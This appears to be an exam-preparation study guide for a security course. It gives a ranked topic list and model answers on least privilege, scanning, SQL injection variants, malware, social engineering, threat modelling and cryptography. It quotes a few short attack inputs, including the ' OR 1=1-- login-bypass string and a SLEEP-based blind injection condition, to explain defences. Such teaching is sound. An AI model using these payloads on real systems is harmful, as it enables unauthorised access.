- Boolean secret sharing and XOR protocol
- Beaver triples for AND gates
- Privacy vs confidentiality vs data protection
- GDPR Article 5 seven principles
- LINDDUN privacy threat model (7 categories)
- Pseudonymization vs anonymization + three re-identification tests

TIER 2 -- Very likely (expect 4-5 of these):

- Attack surface + three categories (network/software/human)
- Passive vs active reconnaissance
- Penetration testing workflow (six phases)
- DMZ design principles and architecture
- Misuse/signature detection vs anomaly detection
- Boolean tautology OR 1=1 and login bypass mechanics
- Layer 4 vs Layer 7 DoS attacks
- Historical DoS attacks (SYN flood, Smurf, Ping of Death, Slowloris)
- Brute force -- local vs remote; password spraying, credential stuffing
- Social engineering techniques and phishing defenses

- Persuasion techniques (authority, urgency, fear, reward, liking)
- Credential-stealing phishing workflow (5 steps with defense points)
- URL deception patterns and defensive reading
- OSINT source categories and correlation risk
- DFD notation (process, data store, data flow, external entity, trust boundary)
- Attack trees -- structure and usage
- Three starting perspectives (attacker, asset, system-focused)
- DREAD scoring model
- RSA vs ElGamal comparison (deterministic vs probabilistic)
- Authenticated encryption (AEAD) and why raw encryption is insufficient
- Common cryptographic pitfalls/misconceptions
- Classical ciphers comparison (Caesar, Vigenere, Enigma)
- MPC vs ordinary encryption vs FHE
- Semi-honest vs malicious adversary models
- XOR vs AND gate cost in MPC
- Output is allowed leakage principle
- GDPR six legal bases for processing (Article 6)
- Controller vs processor roles
- GDPR data-subject rights and engineering implications
- k-anonymity and l-diversity
- Privacy-by-design seven principles
- GDPR breach notification process

TIER 3 -- Possible (expect 3-4 of these):

- Defense-in-depth + risk matrix
- Nmap scan types (SYN vs Connect) and port states
- Authenticated vs unauthenticated scanning comparison
- Metasploit module categories (7 types)
- Post-exploitation principles (5 principles)
- Default-deny vs default-allow firewall policies
- IDS vs IPS and when automatic reaction is appropriate
- Stateless vs stateful filtering
- Malware categories (macro, polymorphic, armored, memory-resident, etc.)
- Ransomware staged delivery and defenses
- Spyware vs rootkits
- Lab 5 SQL injection attack chain and fixes
- SYN cookies and flood mitigations
- MitID case study -- enumeration, lockout, design tension
- SET/GoPhish phishing campaigns and defenses (SPF/DKIM/DMARC)
- Lab 6 DoS comparison (port scan vs HTTP flood vs I/O exhaustion)
- Reflection and amplification attacks
- CEO fraud / business-email compromise pattern

- Ethical social engineering assessment questions
- Anti-phishing education approaches and simulation design
- Suspicious message response workflow (6 steps)
- Key distinctions (social eng vs phishing, whaling vs CEO fraud, smishing vs vishing)
- Lab 8 STRIDE analysis of Android health app (6 categories with mitigations)
- STRIDE analysis changes when system evolves (Bluetooth/cloud fitness tracker)
- Threat modeling validation process and lifecycle
- STRIDE mitigation technologies per category
- Threat modeling vs vulnerability scanning distinction
- Encryption vs MAC vs digital signature vs AEAD comparison
- Standardization lessons (EAXprime case)
- Brute-force key space calculation (80-bit key example)
- TLS cipher suite component analysis (from Lab 9)
- Public-key authenticity -- why publishing a key is not enough
- Hybrid encryption in real protocols (TLS)
- Why textbook RSA is insecure (need for RSA-OAEP)
- Beaver triple formula derivation
- MPC historical milestones (Shamir, Yao, GMW)
- Threshold cryptography vs general MPC
- Why hashing doesn't solve privacy for tiny input domains
- MPC security goals (input privacy, correctness, output privacy, etc.)
- Trusted third party vs two-server MPC
- Seven recurring privacy failures in software systems
- Special categories of personal data (Article 9)
- Pseudonymization techniques (encryption, hashing, masking, tokenization)
- DPIA -- when required and what it contains
- NIST Privacy Framework five functions
- Cambridge Analytica systems-engineering lesson
- GDPR Article 32 risk-based security
- STRIDE vs LINDDUN complementarity

Q284: Explain the concept of least privilege. How does it reduce the attack surface and limit blast radius?

Model Answer:

Least privilege is the principle that every user, process, service, and system component should be granted only the minimum access rights required to perform its legitimate function and nothing more.

Reduces attack surface: Fewer permissions mean fewer paths an attacker can exploit. A compromised account or process with limited rights can reach fewer resources than an administrative one.

Limits blast radius: If a component is compromised, the damage is bounded by what that component is allowed to do. Example: a web-server process running as a low-privilege user cannot read `/etc/shadow` even if an attacker controls it.

Practical implementation: separate roles (read-only vs admin), dedicated service accounts, database accounts restricted to specific tables, removing sudo from service accounts, applying network-level least privilege (firewall rules), using capabilities rather than full root on Linux, and reviewing permissions regularly.

Common failure: over-provisioning for convenience ('just give them admin — it's easier'). The result is every compromise becomes a high-impact incident.

Q285: What is separation of duties? Give two security examples and explain how it differs from least privilege.

Model Answer:

Separation of duties (SoD) requires that no single person or process can complete a sensitive workflow alone. At least two independent parties must cooperate, preventing fraud, accidental errors, or abuse by any one actor.

Example 1 — Financial approvals: The same employee who initiates a wire transfer cannot also approve it. A second authorised person must approve before funds move.

Example 2 — Code deployment: The developer who writes code cannot be the only person who deploys it to production. A separate reviewer or automated pipeline with different credentials handles deployment.

Difference from least privilege: Least privilege limits WHAT a single entity can access. Separation of duties distributes a workflow across MULTIPLE entities so that neither alone can misuse the process. Both together are stronger than either alone — least privilege reduces exposure, SoD prevents single-actor abuse.

Q286: Define and compare black-box, white-box, and grey-box testing approaches. When would each be used?

Model Answer:

Black-box: Tester has no prior knowledge of the system internals — no source code, no architecture diagrams, no credentials. Models an external attacker. Reveals externally exploitable issues but may miss logic flaws only visible internally. Time-consuming.

White-box: Tester has full access — source code, architecture, credentials, documentation. Most thorough coverage. Detects logic bugs, insecure coding patterns, and trust-boundary violations invisible externally. Used for code reviews, internal audits, compliance assessments.

Grey-box: Partial knowledge — some credentials, API documentation, or partial architecture. Models an insider threat or a privileged external party (e.g., a business partner with API access). Balances coverage and realism.

Selection: Black-box when simulating an external attacker with no privileged access; white-box when completeness matters more than realism (e.g., pre-release security audit); grey-box when the threat model includes partially trusted actors or when time is limited and internal knowledge improves targeting.

Q287: Explain the concept of a security baseline. Why must a baseline be established before security monitoring can be effective?

Model Answer:

A security baseline is a documented snapshot of the normal, expected state of a system: typical processes running, expected network connections, normal resource usage, authorised user accounts, expected configuration values, and software versions.

Why it is required for monitoring: anomaly-based detection compares current observations against what is normal. Without a baseline, every alert is ambiguous — it is impossible to distinguish unusual malicious activity from unusual legitimate activity.

Examples: If a web server normally uses 10% CPU and suddenly uses 100%, a baseline enables the alert. If a new listening port appears, the baseline flags it. If an account never logs in outside business hours and suddenly logs in at 3am, only a documented baseline makes this detectable.

Practical steps: instrument and observe during a representative normal period, document process lists, network connections, user activity patterns, resource usage, and expected configuration. Protect the baseline record itself — an attacker who modifies the baseline can hide future activity.

Q288: What is the principle of fail-safe defaults? Give three examples from different security domains.

Model Answer:

Fail-safe defaults means that when a system encounters an error, unexpected condition, or failure, it should default to the most secure state rather than granting access or allowing operation.

Examples: (1) Firewall: On startup or rule-engine failure, default-deny all traffic rather than default-allow. A failed firewall should not become an open gateway. (2) Authentication: If the identity provider is unreachable, deny access rather than permitting fallback to unauthenticated entry. Availability may suffer briefly but confidentiality is preserved. (3) Parsing: If an input parser encounters a malformed record it cannot safely interpret, it should reject the record and log the error rather than making a guess that might execute injected content.

The underlying principle: it is always safer to err on the side of refusal. A momentary denial of service to legitimate users is less harmful than granting access to an attacker who exploited an error condition.

Q289: Explain what banner grabbing is, why it is useful in reconnaissance, and what defensive response is appropriate.

Model Answer:

Banner grabbing is the technique of connecting to a network service and reading the initial response message (banner) that the service sends. Many services automatically announce their name, version, and sometimes operating system in this banner.

Usefulness: Reveals exact service version for CVE matching. Example: SSH banner showing 'OpenSSH 7.2p2' immediately points to known vulnerabilities for that version. HTTP headers may reveal web-server product and version. FTP banners may reveal the FTP daemon name.

Methods: Netcat (nc target 21), Telnet, curl -I, Nmap -sV service detection, or automated scanners.

Defensive response: (1) Suppress or modify banners to return minimal or misleading information (security through obscurity — not a primary defence but reduces low-effort enumeration). (2) Primary defence: keep services patched regardless of whether the version is visible. An attacker who knows the version gains time; one who doesn't may probe more broadly. (3) Monitor for unexpected service enumeration. (4) Remove unnecessary services entirely — no banner if no service.

Q290: Describe the difference between a CVE and a CVSS score. What does a high CVSS score guarantee?

Model Answer:

CVE (Common Vulnerabilities and Exposures): A standardised identifier for a specific disclosed vulnerability instance in a specific product. Example: CVE-2017-0144 (EternalBlue, MS17-010 SMB vulnerability). It identifies WHAT the vulnerability is.

CVSS (Common Vulnerability Scoring System): A numeric score (0.0–10.0) describing the technical characteristics of a vulnerability — attack vector, complexity, privileges required, user interaction required, and impact on CIA. It describes HOW SEVERE the vulnerability characteristics are in isolation.

What a high CVSS score does NOT guarantee: (1) That the vulnerability is exploitable in your environment (configuration may differ). (2) That it is a high priority for YOUR organisation (the asset may be isolated or low value). (3) That exploitation is easy in practice (prerequisites may not be met). (4) That it has been exploited in the wild.

Practical implication: CVSS alone cannot drive remediation priority. Context — asset criticality, exposure, compensating controls, and actual exploitability — determines real risk and prioritisation.

Q291: What is the difference between a false positive and a false negative in vulnerability scanning? Which is more dangerous and why?

Model Answer:

False positive: The scanner reports a vulnerability that does not actually exist on the target system. Example: flagging a patched service as vulnerable because the version string was not updated.

False negative: The scanner misses a real vulnerability. Example: failing to detect an SQL injection point because the scanner did not test that particular parameter.

Which is more dangerous: False negatives are generally more dangerous because they create a false sense of security. Security teams believe a system is clean when it is not, potentially leaving a real weakness unaddressed until exploited by an attacker.

False positives waste remediation effort, frustrate teams, reduce trust in scanner output, and may cause unnecessary changes. However, the consequence is inefficiency, not a security breach.

Combined lesson: Scanner output must always be treated as a hypothesis requiring manual validation. Neither false positives nor false negatives are acceptable without verification. Multiple tools and manual investigation reduce both error types.

Q292: What is privilege escalation? Distinguish vertical from horizontal escalation with examples.

Model Answer:

Privilege escalation is the process of gaining access rights beyond those initially granted to a compromised account or process.

Vertical escalation: Gaining higher-privilege access than the initial foothold. Example: starting as a low-privilege user and exploiting a sudo misconfiguration, SUID binary, or kernel vulnerability to become root/SYSTEM. The most common post-exploitation goal.

Horizontal escalation: Accessing resources belonging to another user at the same privilege level. Example: a student accessing another student's files, or a user account accessing a different user's email. Does not require higher privileges but violates access control boundaries.

Why it matters for penetration testing: Initial access rarely provides maximum impact. Testers demonstrate vertical escalation to show the real consequence of an initial foothold. Horizontal escalation demonstrates inadequate access controls between users at the same trust level.

Defensive controls: least privilege (limit what each account can do), removing unnecessary SUID binaries, auditing sudo rules, keeping kernels patched, user-level file permissions, reviewing service account configurations.

Q293: Explain the concept of lateral movement in penetration testing and how it differs from initial access.

Model Answer:

Initial access: The first compromise of any system in the target environment — the entry point. Example: exploiting a public-facing web server vulnerability.

Lateral movement: After initial access, the attacker (or tester) moves from the initial foothold to other systems, services, or accounts within the same environment to reach higher-value targets.

Techniques: Pass-the-hash (reusing NTLM credential hashes without knowing the plaintext), credential reuse (using credentials found on one system against others), exploiting trust relationships between systems, pivoting through a compromised host to reach network segments not directly accessible, abusing shared administrative tools (PsExec, WMI, RDP).

Why it matters: Initial access on a low-value host may not prove meaningful impact. Demonstrating lateral movement from the initial foothold to a domain controller or sensitive database proves the true scope of a compromise — a single unpatched external service can lead to full internal network access.

Defences: network segmentation, least privilege on service accounts, credential hygiene (unique local admin passwords), monitoring for unusual lateral connection patterns.

Q294: What is a Meterpreter session? How does it differ from a basic shell? What additional capabilities does it provide?

Model Answer:

A Meterpreter session is an advanced post-exploitation session created by Metasploit's Meterpreter payload. It runs entirely in memory on the target, communicates over an encrypted channel, and provides an extensible command interface beyond a basic command shell.

Differences from a basic shell: A basic shell (e.g., /bin/bash or cmd.exe) provides raw text input/output. Meterpreter adds structured commands, in-memory execution (no disk payload after initial execution), encrypted communications, loadable extension modules, and session management.

Additional capabilities: sysinfo (OS and hostname), getuid (current user context), arp/netstat (network discovery), ps (running processes), screenshot (desktop capture), hashdump (extract password hashes), upload/download (file transfer), run post modules (enumerate applications, users, protections), pivot/routing (reach additional network segments through the compromised host).

Post-exploitation principles: Use only what the scope authorises. Hashdump is highly sensitive. Camera/microphone/keylogging require separate explicit authorisation. Clean up all sessions and artifacts after the engagement.

Q295: Explain what a proxy firewall (application-level gateway) does that a stateful packet filter cannot. Give an HTTP-specific example.**Model Answer:**

A stateful packet filter tracks connection state and inspects headers, but it does not understand application-layer semantics. It approves or denies based on IP addresses, ports, and TCP state — not based on what the application is actually doing.

A proxy firewall (application-level gateway) acts as an intermediary for a specific application protocol. It terminates the client connection, inspects the full application-layer content, applies protocol-specific policy, and only then initiates a new connection to the server.

HTTP-specific example: A stateful filter will approve any TCP connection to port 80 from an authorised source. An HTTP proxy can additionally: block specific URLs or domains, inspect HTTP methods (allow GET, block PUT/DELETE), scan response bodies for malware, enforce authentication before access, block cross-site scripting patterns in responses, and enforce content-type policies. None of these are visible at the packet-filter level.

Trade-off: Application proxies have higher computational cost, require separate proxy instances per protocol, and may need client reconfiguration. They provide significantly stronger security guarantees for the protocols they support.

Q296: What is a SYN flood attack? Explain the TCP three-way handshake and exactly what resource gets exhausted.**Model Answer:**

TCP three-way handshake: (1) Client sends SYN. (2) Server replies SYN-ACK and allocates a half-open connection entry in its connection backlog. (3) Client sends ACK completing the connection.

SYN flood: Attacker sends large numbers of SYN packets with spoofed source addresses. The server sends SYN-ACK to each, but because the source addresses are spoofed, no ACK ever arrives. Each half-open entry remains allocated until a timeout (typically 30–75 seconds).

Resource exhausted: The server's TCP connection backlog — a finite queue of half-open connections. Once full, the server cannot accept new legitimate SYN packets. Legitimate clients' SYN packets are dropped silently or rejected.

Mitigation — SYN cookies: Instead of allocating a backlog entry immediately, the server encodes connection state cryptographically into the sequence number of the SYN-ACK. No state is allocated until a valid ACK arrives. Legitimate clients return an ACK containing the encoded state, which the server validates and uses to reconstruct the connection. Half-open SYNs without valid ACKs consume no server state.

Q297: Compare a honeypot and a honeynet. What are the ethical and legal considerations before deploying either?

Model Answer:

Honeypot: A single monitored decoy system configured to appear valuable but containing no real production data. It attracts and detects attackers, collects information about techniques, and generates alerts on interaction. All traffic to/from a honeypot is inherently suspicious because there are no legitimate users.

Honeynet: A network of interconnected honeypots simulating an entire environment — multiple servers, workstations, services, and network devices. Provides richer interaction opportunities and more detailed intelligence about multi-stage attacks.

Ethical and legal considerations: (1) Jurisdiction: Laws around entrapment, monitoring, and data collection vary. Consult legal counsel before deployment. (2) Liability: If an attacker uses the honeypot to attack third parties, the operator may bear responsibility. Ensure isolation prevents outbound attacks. (3) Data protection: Interactions collected may include personal data subject to GDPR or local law. Define retention and access policies. (4) Purpose limitation: Honeypots for intelligence must have documented legitimate purposes. (5) Notification: Internal staff monitoring must comply with employment law. (6) Isolation: A compromised honeypot must not become a pivot point into production. Deploy with strict network segregation.

Q298: Explain how prepared statements (parameterised queries) prevent SQL injection at a structural level. Why do they work even when input contains SQL characters?

Model Answer:

In a parameterised query, the SQL statement structure is sent to the database engine separately from the user-supplied values. The database receives two distinct artifacts: (1) the query template with placeholders (e.g., `SELECT * FROM users WHERE username = ? AND password = ?`), and (2) the parameter values to substitute.

The database engine compiles and plans the query using the template before the values arrive. When the values are bound, the engine treats them as literal data — they are inserted into the data slots of the already-compiled query, not re-parsed as SQL text.

Why SQL characters in input are harmless: If a user enters `' OR 1=1--`, the single-quote and SQL keywords are substituted as data characters into the compiled plan. The database never re-parses them as SQL syntax. The query logic is fixed by the template and cannot be changed by the input.

Contrast with concatenation: `SELECT * FROM users WHERE username = ' + input + '` — here the database receives one string that it parses as SQL, so the input value participates in syntax parsing and can alter query logic.

Parameterisation is structurally secure because the semantic separation between SQL syntax and data values is enforced by the database engine itself, not by checking or filtering the input content.

Q299: Describe four different types of SQL injection beyond in-band classic injection: blind boolean-based, blind time-based, out-of-band, and second-order injection.

Model Answer:

Blind boolean-based: The application returns no data directly but the response differs based on whether a condition is true or false (e.g., page loads vs. page errors). Attacker asks binary questions: 'Is the first character of the database name > M?' and infers the answer from the response. Slow but works when error messages and data output are suppressed.

Blind time-based: The application provides no visible difference in response, but the attacker can induce time delays for true conditions (e.g., IF(condition, SLEEP(5), 0)). A 5-second delay confirms the condition was true. Very slow, detectable by timing monitors, but works against completely silent applications.

Out-of-band: The attacker causes the database to send data to an external server the attacker controls (e.g., DNS lookup or HTTP request carrying query results). Works when in-band channels are too restricted but the database server has network access. Useful when neither response content nor timing can be reliably observed.

Second-order (stored) injection: Malicious input is stored in the database without being executed immediately. Later, a different part of the application retrieves the stored value and uses it in a query without re-validation. The injection executes in a different context from where it was entered, bypassing input validation that only checks data at entry time.

Defence: All four are prevented by parameterised queries. Filtering alone is unreliable for all variants because the injection point and execution context can differ.

Q300: Explain the difference between a virus, a worm, and a Trojan. Can malware combine all three characteristics? Give a real-world example.

Model Answer:

Virus: Attaches to existing files or programs. Spreads when the infected host file is executed or shared. Requires a carrier — it cannot propagate independently. Usually requires a human trigger (opening the infected file).

Worm: Self-replicating without needing a carrier file. Propagates automatically by exploiting network services, vulnerabilities, or shared resources. Can spread globally without user interaction.

Trojan: Appears to be legitimate or useful software. Does not self-replicate (unlike virus/worm). Spreads through deception — the user voluntarily executes it believing it is benign. Conceals malicious functionality behind a legitimate-seeming exterior.

Can malware combine all three: Yes. Conficker combined worm propagation (exploiting MS08-067 without user action) with Trojan-like download-and-install functionality for additional payloads. The Nimda worm spread through email attachments (requiring some user action like a virus), exploited web server vulnerabilities (worm propagation), and included backdoor Trojan functionality.

Practical implication: Do not rely on single-category classification to determine defences. Analyse all observed mechanisms and apply layered defences: patching (worm propagation), user training (Trojan

deception), application control (unauthorised execution), and segmentation (all three).

Q301: What is a rootkit? Explain the difference between a user-space rootkit and a kernel-space rootkit. Why are kernel rootkits harder to detect?

Model Answer:

A rootkit is malware designed to hide its presence and the presence of other malicious software while maintaining privileged access to the system. The name reflects the goal: maintain root-level access while hiding evidence.

User-space rootkit: Operates within normal application-level processes. Replaces or hooks system utilities (ls, ps, netstat, find) with modified versions that hide specified files, processes, or network connections. Easier to implement. Can be detected by running a known-good copy of the utility from read-only media, comparing file hashes against a trusted baseline, or using integrity-monitoring tools.

Kernel-space (ring 0) rootkit: Inserts code directly into the operating system kernel — often via loadable kernel modules (Linux) or device driver infection (Windows). Operates at the level of OS system calls. Can hide at the most fundamental level: even the OS's own file listing and process listing return falsified results. The rootkit hooks the system calls that all user programs depend on.

Why kernel rootkits are harder to detect: (1) All OS primitives (file listing, process enumeration, network state) can be falsified at the source. (2) Antivirus tools running in user space rely on the same system calls and receive the same falsified results. (3) Detection requires out-of-band methods: booting from external trusted media, hardware-level analysis, or comparing kernel memory against known-good values. (4) Removal is often only possible by reinstalling the OS from clean media.

Q302: What is a botnet? Describe its typical lifecycle from infection to active use, and explain how botnets are used beyond DDoS.

Model Answer:

A botnet is a network of compromised computers (bots or zombies) controlled by a threat actor through command-and-control (C2) infrastructure.

Lifecycle: (1) Infection: Malware installed on victims via phishing, drive-by download, exploit, or brute-forced credentials. (2) C2 registration: Bot connects to C2 server (or uses peer-to-peer among bots) to register and await instructions. (3) Persistence: Malware ensures it survives reboot. (4) Update: Operator updates capabilities, targets, or C2 addresses. (5) Active use: Botnet used for chosen purpose. (6) Monetisation or handover: Access may be sold to other threat actors.

Uses beyond DDoS: Spam campaigns (millions of messages from legitimate-looking IPs), credential stuffing (distributed login attempts avoiding per-IP rate limits), click fraud (simulating ad clicks for financial fraud), cryptomining (consuming victim CPU/GPU for cryptocurrency generation), proxy services (routing attacker traffic through victim IPs), ransomware delivery, data exfiltration, and espionage.

Defensive implications: Botnet membership often goes unnoticed on the infected device. Signs include unusual outbound connections, unexpected CPU/network usage, and connections to suspicious IP ranges. IoT botnet involvement is especially common because devices lack monitoring.

Q303: Explain credential stuffing and why multi-factor authentication is particularly effective against it.

Model Answer:

Credential stuffing is an automated attack where an attacker tests large collections of username/password pairs — obtained from previous data breaches — against other services, exploiting users who reuse passwords across accounts.

Why it is effective: Major breach databases contain hundreds of millions of real username/password combinations (LinkedIn, Adobe, Yahoo, etc.). A significant percentage of users reuse the same password across multiple services. Even with rate limiting per IP, distributed botnets can spread attempts across many source addresses.

Scale: Attackers do not guess passwords — they test KNOWN passwords against new services. Success rates of 0.1–2% against a list of one million credentials still yields thousands of compromised accounts.

Why MFA is particularly effective: Even if the attacker correctly enters the username and password, they cannot pass the second factor (TOTP code, push notification, hardware key) because they do not control the user's device or physical token. The credential pair alone is insufficient for access.

Additional defences: breached-password screening (block passwords found in known breach lists), risk-based authentication (flag logins from unfamiliar devices or locations for additional verification), consistent response times (prevent enumeration of valid usernames), and centralised logging to detect distributed patterns.

Q304: Describe the Slowloris attack in detail. Why does a standard CDN or reverse proxy effectively mitigate it?

Model Answer:

Slowloris is a Layer 7 denial-of-service attack that keeps web server connections occupied by sending partial HTTP requests very slowly, never completing them. The attack exploits the server's willingness to wait for slow clients.

Mechanism: The attacker opens many connections to the web server. For each connection, it sends HTTP headers one line at a time, with long intervals between lines. The server must keep each connection open while waiting for the complete request headers. Because the server has a finite connection pool, all worker slots fill with attacker connections and legitimate clients cannot connect.

Why it requires minimal bandwidth: Each connection sends just enough data to stay alive — a few bytes every few seconds. A single attacker machine with a slow connection can potentially take down a web server accepting thousands of concurrent connections.

Why CDN/reverse proxy mitigates it: A CDN or reverse proxy (Cloudflare, nginx, HAProxy) sits in front of the origin server. It has much higher connection capacity than a typical origin server, uses asynchronous I/O (can hold millions of slow connections efficiently), enforces strict timeouts for slow request completion, and presents only completed, validated HTTP requests to the backend origin server. The origin server never sees the slow partial connections — they are absorbed by the proxy layer. The proxy also enforces per-IP connection limits more aggressively than most application servers.

Q305: Explain the concept of pretexting as a social engineering technique. How does it differ from phishing, and what makes a pretext credible?

Model Answer:

Pretexting is the creation of a fabricated scenario (pretext) to manipulate a target into disclosing information, providing access, or taking a specific action. The attacker invents an identity, role, or situation to justify their request.

Difference from phishing: Phishing typically uses a message-based lure (email, SMS) that directs targets to a fake page or attachment. Pretexting is broader — it can be delivered by phone (vishing), in person, via email, or through any channel. It focuses on establishing a believable identity and situation rather than just a deceptive link. Phishing is often mass-scale; pretexting is often more targeted and interactive.

What makes a pretext credible: (1) Relevance — the scenario matches the target's actual role or current context (e.g., 'I'm from IT and we noticed an issue with your account' during a known IT migration). (2) Specificity — including real names of colleagues, managers, or projects gathered through OSINT. (3) Authority — framing as someone with power (IT department, auditor, executive assistant). (4) Plausibility — the request fits something that legitimately happens (password resets, access verifications). (5) Emotional context — creating urgency, sympathy, or fear reduces critical thinking. (6) Preparation — anticipating likely questions and having ready answers maintains the illusion.

Defence: verify identity through an independently obtained contact (not one provided by the caller), follow established procedures regardless of urgency, and normalise reporting suspicious interactions without social consequence.

Q306: What is watering hole attack? How does it differ from spear phishing, and what makes it particularly difficult to detect?**Model Answer:**

A watering hole attack is a targeted attack where the attacker compromises a website frequently visited by the target group rather than attacking the targets directly. The name reflects the hunting strategy of ambushing prey at the water source they regularly visit.

Mechanism: Attacker identifies which websites the target group routinely visits (industry news sites, professional forums, tool-vendor pages, niche community sites). The attacker compromises one of those sites and injects malicious code. When targets visit the site during normal activity, their browsers execute the malicious code (often a drive-by download exploiting a browser or plugin vulnerability).

Difference from spear phishing: Spear phishing actively pushes a malicious message to the target, requiring the target to click a suspicious link or open an attachment. A watering hole attack is passive — the target visits a website they already trust and would visit regardless. No suspicious email is required.

Why it is hard to detect: (1) The malicious site is a real, trusted site the target uses regularly — no suspicious sender, no unusual URL. (2) The attack may be active for only a short window before the site owner detects and removes it. (3) The malicious code may only execute for visitors matching a specific profile (user-agent, IP range, referring site) to avoid broad detection. (4) The initial compromise is a legitimate site, so reputation-based filtering often fails. Defence: keep browsers and plugins patched, use content security policies, monitor outbound connections from endpoints.

Q307: Explain vishing (voice phishing). What psychological mechanisms does it exploit, and what verification steps should employees follow?**Model Answer:**

Vishing is social engineering conducted over telephone calls or voice messages. The attacker impersonates a trusted authority — IT support, bank fraud team, government agency, or a manager — to extract credentials, sensitive information, or cause the target to take a specific action.

Psychological mechanisms: (1) Authority — the caller claims a position of power (IT security, compliance team, bank fraud department). (2) Urgency — 'Your account has been compromised and we must act now to prevent loss.' (3) Fear — consequences if the target does not cooperate immediately. (4) Social proof — 'I've already spoken to your manager.' (5) Reciprocity — 'I've taken time to call and help you, so cooperating is the right response.' (6) Familiarity — research allows the attacker to mention real colleague names, recent events, or company vocabulary.

Why vishing is effective: Real-time voice interaction prevents careful reflection. The target cannot re-read a suspicious message slowly. Emotional pressure is immediate.

Verification steps: (1) Hang up and call back using a number from the official directory or official website — never use a number the caller provided. (2) Verify identity through a second channel (email to the stated person's official address). (3) Never provide passwords, one-time codes, or full account numbers over the phone — legitimate organisations do not require these. (4) Report unexpected calls claiming to be from IT or security teams to the actual IT or security team. (5) If the caller objects to verification, that itself is a red flag.

Q308: Explain the concept of a trust boundary in detail. What are the four questions that should be asked at every trust boundary in a DFD?

Model Answer:

A trust boundary in a data-flow diagram marks the transition point where the level of trust changes — where data, commands, or requests pass from one principal or environment to a different one with different privilege levels, assumptions, or ownership.

Examples of trust boundaries: between the internet and a web application, between a web application and its database, between user input and application processing, between a front-end service and a back-end API, between a client application and a privileged system service, between one microservice and another.

Four questions at every trust boundary: (1) What crosses this boundary? — Enumerate what data, commands, tokens, files, or metadata pass across. Each item is a potential threat vector. (2) Who is on each side? — Identify the principals with different privilege or trust levels. What can each side do if the other is compromised? (3) What enforces the boundary? — Identify the technical controls: authentication, authorisation checks, input validation, cryptographic verification, OS process isolation, network firewalling, API gateway. (4) What assumption could fail? — Consider: what if the caller is malicious? What if the caller's identity is spoofed? What if the called service is unavailable or returns unexpected data? Which assumptions about network confidentiality, client honesty, or correct configuration could be violated?

Threats cluster at trust boundaries because that is where untrusted inputs first meet trusted operations. Missing enforcement here creates the most impactful vulnerabilities.

Q309: What is an attack tree? Construct a simple attack tree for the goal 'Attacker compromises administrator account.' Show at least two levels with OR and AND branches.

Model Answer:

An attack tree is a hierarchical diagram representing the ways an attacker can achieve a specific security-incident goal. The root node is the goal; branches represent alternative approaches (OR) or required

combinations of steps (AND); leaf nodes are concrete techniques.

Example attack tree for 'Attacker compromises administrator account':

ROOT: Compromise administrator account OR branch A: Steal valid credentials OR leaf A1: Phishing email with fake login page OR leaf A2: Credential stuffing from breach database AND branch A3: Brute-force attack (requires: A3a AND A3b) A3a: No account lockout policy A3b: Obtain username list via enumeration OR leaf A4: Keylogger via malware OR branch B: Exploit authentication mechanism OR leaf B1: Exploit password reset vulnerability AND branch B2: Session hijacking (requires: B2a AND B2b) B2a: Obtain active session token (XSS or network interception) B2b: No secure/HttpOnly flag on session cookie OR leaf B3: Exploit authentication bypass vulnerability (CVE) OR branch C: Social engineering to reset credentials OR leaf C1: Vishing help-desk impersonation OR leaf C2: Physical access to reset terminal

The tree guides both attack planning (which branch has fewest prerequisites?) and defence planning (which controls block the most branches?). Blocking all leaves of a branch eliminates that branch entirely.

Q310: Explain DREAD scoring in full. Score a hypothetical vulnerability and explain why the result is a decision aid, not an objective fact.

Model Answer:

DREAD is a risk-scoring mnemonic with five dimensions, each scored on a defined scale (commonly 1–3 or 1–10):

D — Damage potential: How much damage if exploited? (3=full admin/root access or mass data breach, 2=limited data or disruption, 1=minimal impact)

R — Reproducibility: How reliably can the attack be repeated? (3=always reproducible, 2=sometimes, 1=very difficult to reproduce)

E — Exploitability: How difficult is exploitation? (3=no skill/tools needed, 2=some skill or tool required, 1=advanced skill or special conditions)

A — Affected users: How many are impacted? (3=all users or critical systems, 2=some users, 1=very few or non-critical)

D — Discoverability: How likely is an attacker to find this? (3=obvious, publicly known, 2=requires some investigation, 1=very obscure)

Example — SQL injection on a public login form: D=3 (full database access), R=3 (easily reproducible), E=2 (requires SQL knowledge but freely documented), A=3 (all users' credentials), D=3 (OWASP Top 10, very well known). Total: 14/15 — high priority.

Why it is not objective: Score values depend on the assessor's interpretation. 'Some skill' vs 'no skill' is subjective. Discoverability depends on threat intelligence the team may not have. Two analysts may score the same vulnerability differently. The result is a structured aid for ranking findings relative to each other, not a ground truth. Document rationale and uncertainty alongside any DREAD score rather than presenting the number alone as authoritative.

Q311: Explain forward secrecy (perfect forward secrecy). Why is it important for long-term security, and which key exchange mechanism provides it?

Model Answer:

Forward secrecy (or perfect forward secrecy, PFS) is a property of a key exchange protocol where compromise of a long-term private key does NOT allow decryption of past recorded session traffic. Each session uses independently generated ephemeral keys that are discarded after the session ends.

Without PFS: If a server's long-term RSA private key is compromised (by theft, legal compulsion, or post-quantum decryption), an attacker who recorded past TLS sessions can retroactively decrypt all of them. The long-term key was used to protect the session key exchange, so all sessions are retroactively exposed.

With PFS: Each TLS session generates a fresh, ephemeral Diffie-Hellman key pair. The session key is derived from this ephemeral material. The ephemeral private key is destroyed after the session. Even if the server's long-term certificate key is later compromised, past sessions cannot be decrypted because the ephemeral session keys no longer exist.

Mechanism: ECDHE (Elliptic Curve Diffie-Hellman Ephemeral) and DHE (finite-field Diffie-Hellman Ephemeral) provide PFS. Both generate fresh key pairs per session. TLS 1.3 mandates PFS by removing non-PFS key exchange options (RSA key transport is removed).

Relevance to 'harvest now, decrypt later' attacks: Adversaries may record encrypted traffic today, planning to decrypt it once they obtain the private key or develop sufficient computing power (e.g., quantum computing). PFS eliminates this threat for protected sessions.

Q312: What is the difference between a MAC and a digital signature? When would you choose one over the other?

Model Answer:

MAC (Message Authentication Code): Uses a shared secret key. Both the sender and verifier must possess the same key. Provides integrity and authentication between parties who share the secret. Cannot provide non-repudiation — any party with the key can generate a valid MAC, so you cannot prove which party created it.

Digital signature: Uses asymmetric keys. The signer holds a private signing key; any holder of the corresponding public key can verify. Provides integrity, authentication, AND non-repudiation — only the private key holder can produce a valid signature, and this can be verified by any third party.

Choosing a MAC: When both parties already share a key (symmetric session established), when performance matters (MACs are faster than signatures), when non-repudiation is not required (internal logging, API authentication between trusted services), and when the interaction is between a fixed set of known parties.

Choosing a digital signature: When third-party verification is needed, when the signer and verifier do not share a secret in advance, when non-repudiation is required (legal documents, financial transactions, software signing), and when one party must prove to others (who hold only the public key) that a specific private key holder created the content.

